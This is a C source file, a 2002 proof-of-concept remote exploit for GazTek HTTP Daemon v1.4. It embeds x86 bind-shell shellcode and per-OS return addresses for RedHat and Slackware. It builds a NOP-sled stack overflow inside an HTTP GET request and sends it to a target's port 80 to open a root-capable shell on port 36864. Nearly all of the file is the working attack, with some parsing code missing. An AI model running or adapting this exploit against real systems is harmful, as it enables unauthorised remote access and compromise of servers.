/* PRPghttpd.c This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - PYR/\MID, Research Project Author: flea Date: October 7, 2002 Members: Apm, flea, thread Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4-3 Works on: i386 Redhat 7.2 i386 Redhat 7.3 i386 Slackware 8.1 */ #include #include #include #include #include #include #include #include #define NOP 0x90 #define MIN_BUFFER_SIZE 198 #define MAX_IP_LENGHT 15 #define GAZTEK_PORT 80 #define BIND_PORT 36864 void synops(char *argv[]); int main(int argc, char *argv[]); void get_ban(char *ban_addr); #define ARCH_NUMBER 4 struct arch { int id; char *os; long addr; int adjusted_buf; } architectures[] = { {0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb9c0, 0}, {1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb6b0, 0}, {2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbfffb658, -1}, {3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbfffb50c, -32} }; char bindshell[] = "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c" "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46" "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89" "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c" "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66" "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86" "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f" "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c" "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh"; void synops(char *argv[]) { int i; printf("PYR/\\MID, Research Project 02\n"); printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.\n"); printf("SYNOPS: %s [-b ] -d \n\n", argv[0]); printf(" - ip address to check lenght\n"); printf(" - remote target ip addr\n"); printf(" - remote architecture id\n"); printf(" - ip addr to check banner\n\n"); printf("Architectures id:\n"); for(i=0; i (ARCH_NUMBER-1)) { printf("Invalid architecture id.\n"); exit(-1); } if((inet_addr(argv[optind])) != -1) ip_lenght = strlen(argv[optind+1]); else { printf("\"%s\" is an invalid ip address.\n", argv[optind]); exit(-1); } addr = malloc(strlen(argv[optind+1])); strcpy(addr, argv[optind+1]+1); exp_flg++; } break; case ':': errflg++; break; case '?': errflg++; } } if(errflg > 0) synops(argv); /* check banner info */ if(ban_chk > 0) get_ban(addr); if(!(exp_flg)) synops(argv); /* Buffer Size Craft Relation min string size = 192 bytes string "GET _" size = 4 bytes max log ip size "255.255.255.255" = 15 bytes string "\n\n" size = 2 bytes = 198 bytes */ /* dont count with GET request and newline bytes */ c_size = ((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf)); /* NULL string byte */ c_size = c_size+1; /* builds crafted buffer */ get_buf = malloc(c_size); /* counts with all constants sizes */ get_buf_str = malloc((c_size+4+2)); memset(get_buf, NOP, c_size); memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell, strlen(bindshell)); *(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr; get_buf[c_size-1] = '\0'; /* final buffer, now just inject on connection */ sprintf(get_buf_str,"GET %s\n\n", get_buf); /* infos */ printf("target: %s\n", addr); printf("arch id: %d, %s, 0x%x\n", architectures[arch_id].id, architectures[arch_id].os, architectures[arch_id].addr); printf("ip size: %d bytes\n", ip_lenght); printf("Adjust: %d bytes\n", architectures[arch_id].adjusted_buf); printf("buffer size: %d bytes\n", strlen(get_buf_str)); printf("bind shellcode size: %d bytes\n", strlen(bindshell)); printf("bind shell tcp port: %d\n", BIND_PORT); printf("Injecting code at 0x%x...\n", architectures[arch_id].addr); /* start socket() */ if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1) { printf("socket() error.\n"); exit(-1); } target.sin_family = AF_INET; target.sin_port = htons(GAZTEK_PORT); if((target.sin_addr.s_addr = inet_addr(addr)) == -1) { printf("\"%s\" is an invalid ip address.\n", addr); exit(-1); } bzero(&(target.sin_zero), 8); if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1) { printf("connect() error.\n"); exit(-1); } if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1) { printf("write() error.\n"); exit(-1); } printf("Done!\n"); return 0; }